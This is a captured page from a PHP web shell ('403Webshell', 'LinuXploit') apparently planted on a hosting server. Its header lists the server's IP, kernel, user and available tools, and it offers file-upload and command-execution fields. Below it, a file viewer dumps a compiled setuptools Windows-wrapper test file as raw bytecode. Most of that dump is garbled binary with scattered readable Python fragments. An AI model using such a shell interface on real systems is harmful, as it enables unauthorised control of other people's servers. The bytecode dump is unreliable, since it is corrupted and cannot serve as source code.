403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/setuptools/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/setuptools/tests/__pycache__/test_windows_wrappers.cpython-313.pyc
�

�h�����SrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKJ	r	 \RR\RS:gSS9r"SS5r
S	r"S
S\
5r"SS
\
5rg)a1
Python Script Wrapper for Windows
=================================

setuptools includes wrappers for Python scripts that allows them to be
executed like regular windows programs.  There are 2 wrappers, one
for command-line programs, cli.exe, and one for graphical programs,
gui.exe.  These programs are almost identical, function pretty much
the same way, and are generated from the same source file.  The
wrapper programs are used by copying them to the directory containing
the script they are to wrap and with the same name as the script they
are to wrap.
�N)�nt_quote_arg�win32zWindows only)�reasonc�4�\rSrSr\S5r\S5rSrg)�
WrapperTester�c�N�[[R5nU[5-$)N)r�sys�
executable�locals)�cls�template�
python_exes   �H/usr/lib/python3/dist-packages/setuptools/tests/test_windows_wrappers.py�prep_script�WrapperTester.prep_scripts��!�#�.�.�1�
��&�(�"�"�c��URUR5nXR-RS5nUR	U5 SSS5 XR
-RS5n[R"SUR5nUR	U5 SSS5 g!,(df   Ng=f!,(df   g=f)z�
Create a simple script, foo-script.py

Note that the script starts with a Unix-style '#!' line saying which
Python executable to run.  The wrapper will use this line to find the
correct Python executable.
�wN�wb�
setuptools)	r�script_tmpl�script_name�open�write�wrapper_name�
pkg_resources�resource_string�wrapper_source)r
�tmpdir�script�frs     r�
create_script�WrapperTester.create_script#s���������1�����&�
,�
,�S�
1�Q�
�G�G�F�O�2��'�'�'�
-�
-�d�
3�q��-�-�l�C�<N�<N�O�A�
�G�G�A�J�4�
3�	2�
1��4�
3�s�B,�03B=�,
B:�=
C�N)�__name__�
__module__�__qualname__�__firstlineno__�classmethodrr#�__static_attributes__r%rrrrs(���#��#����rrc�X�US;de[R"5S:XaUS3$US3$)z=A simple routine to select launcher script based on platform.)�cli�gui�ARM64z
-arm64.exez-32.exe)�platform�machine)�prefixs r�win_launcher_exer38s;���^�#�#�#�����W�$����$�$����!�!rc�~�\rSrSrSrSr\"S5r\R"S5R5rSrSr
SrS	rg
)�TestCLI�A�
foo-script.py�foo.exer-z�
        #!%(python_exe)s
        import sys
        input = repr(sys.stdin.read())
        print(sys.argv[0][-14:])
        print(sys.argv[1:])
        print(input)
        if __debug__:
            print('non-optimized')
        c�V�URU5 [US-5SSSSS/n[R"U[R[RSSS	9nURS
5upEUR
SS5n[R"S
5R5nXg:Xdeg)a�
When the copy of cli.exe, foo.exe in this example, runs, it examines
the path name it was run with and computes a Python script path name
by removing the '.exe' suffix and adding the '-script.py' suffix. (For
GUI programs, the suffix '-script.pyw' is added.)  This is why we
named out script the way we did.  Now we can run out script by running
the wrapper:

This example was a little pathological in that it exercised windows
(MS C runtime) quoting rules:

- Strings containing spaces are surrounded by double quotes.

- Double quotes in strings need to be escaped by preceding them with
  back slashes.

- One or more backslashes preceding double quotes need to be escaped
  by preceding each of them with back slashes.
r8�arg1�arg 2�arg "2\"�arg 4\�	arg5 a\\bT�utf-8��stdout�stdin�text�encoding�hello
world
�
�
��
            \foo-script.py
            ['arg1', 'arg 2', 'arg "2\\"', 'arg 4\\', 'arg5 a\\\\b']
            'hello\nworld\n'
            non-optimized
            N)
r#�str�
subprocess�Popen�PIPE�communicate�replace�textwrap�dedent�lstrip)�selfr �cmd�procrA�_stderr�actual�expecteds        r�
test_basic�TestCLI.test_basicSs���(	
���6�"����"�#������

�������?�?��/�/���
���*�*�+;�<��������-���?�?�
�
��&�(�	��!�!�!rc���US-nUR5 URU5 [R"US-5nUR	US-5 [US-5SSSSS/n[R"U[R[RSS	S
9nURS5upgURSS
5n[R"S5R5n	X�:Xdeg)z;
Ensure that symlink for the foo.exe is working correctly.
�
script_dirr8r:r;r<r=r>Tr?r@rErFrGrHN)�mkdirr#�pathlib�Path�
symlink_torIrJrKrLrMrNrOrPrQ)
rRr r[�symlinkrSrTrArUrVrWs
          r�test_symlink�TestCLI.test_symlink�s����l�*�
��������:�&��,�,�v�	�1�2�����:�	�1�2�
���"�#������

�������?�?��/�/���
���*�*�+;�<��������-���?�?�
�
��&�(�	��!�!�!rc	�L�URU5 [R"S5R5nUS-R	S5nURUR
U55 SSS5 [US-5/n[R"U[R[R[RSSS9nUR5upgURS	S
5n[R"S5R5n	X�:Xdeg!,(df   N�=f)a�
Specifying Python Command-line Options
--------------------------------------

You can specify a single argument on the '#!' line.  This can be used
to specify Python options like -O, to run in optimized mode or -i
to start the interactive interpreter.  You can combine multiple
options as usual. For example, to run in optimized mode and
enter the interpreter after running the script, you could use -Oi:
a,
            #!%(python_exe)s  -Oi
            import sys
            input = repr(sys.stdin.read())
            print(sys.argv[0][-14:])
            print(sys.argv[1:])
            print(input)
            if __debug__:
                print('non-optimized')
            sys.ps1 = '---'
            r7rNr8Tr?�rArB�stderrrCrDrFrGzV
            \foo-script.py
            []
            ''
            ---
            )r#rOrPrQrrrrIrJrKrL�STDOUTrMrN)
rRr �tmplr"rSrTrArUrVrWs
          r�test_with_options�TestCLI.test_with_options�s���	
���6�"����

�
��&�(�	
���&�
,�
,�S�
1�Q�
�G�G�D�$�$�T�*�+�2��6�I�%�&�'�������?�?��/�/��$�$���

���*�*�,��������-���?�?�
�
��&�(�	��!�!�!�+2�
1�s�
!D�
D#r%N)r&r'r(r)rrr3rrOrPrQrrXrarhr+r%rrr5r5AsF��!�K��L�%�e�,�N��/�/�		��
�f�h��."�`#"�J."rr5c�v�\rSrSrSrSr\"S5rSr\	R"S5R5rSr
Srg	)
�TestGUI��z1
Testing the GUI Version
-----------------------
zbar-script.pywr.�bar.exez�
        #!%(python_exe)s
        import sys
        f = open(sys.argv[1], 'wb')
        bytes_written = f.write(repr(sys.argv[2]).encode('utf-8'))
        f.close()
        c	���URU5 [US-5[US-5S/n[R"U[R[R[R
SSS9nUR
5upEU(aeU(aeUS-RS5nUR5RS5nS	S	S	5 W[S5:Xdeg	!,(df   N =f)
z:Test the GUI version with the simple script, bar-script.pyrmztest_output.txtz
Test ArgumentTr?rd�rb�asciiN)r#rIrJrKrLrfrMr�read�decode�repr)rRr rSrTrAre�f_outrVs        rrX�TestGUI.test_basic�s������6�"�
���"�#���*�*�+��
��
�����?�?��/�/��$�$���

���)�)�+�����z���z��(�(�
.�
.�t�
4���Z�Z�\�(�(��1�F�5���o�.�.�.�.�5�
4�s�* C$�$
C2r%N)r&r'r(r)�__doc__rr3rrrOrP�striprrXr+r%rrrkrk�sA���
#�K�%�e�,�N��L��/�/�	���e�g��/rrk)rvr]r0rJr
rO�pytestr�setuptools.command.easy_installr�mark�skipif�
pytestmarkrr3r5rkr%rr�<module>r}sp������
��
��8�
�[�[�
�
����� 7��
�
O�
���6"�U"�m�U"�p*/�m�*/r

Youez - 2016 - github.com/yon3zu
LinuXploit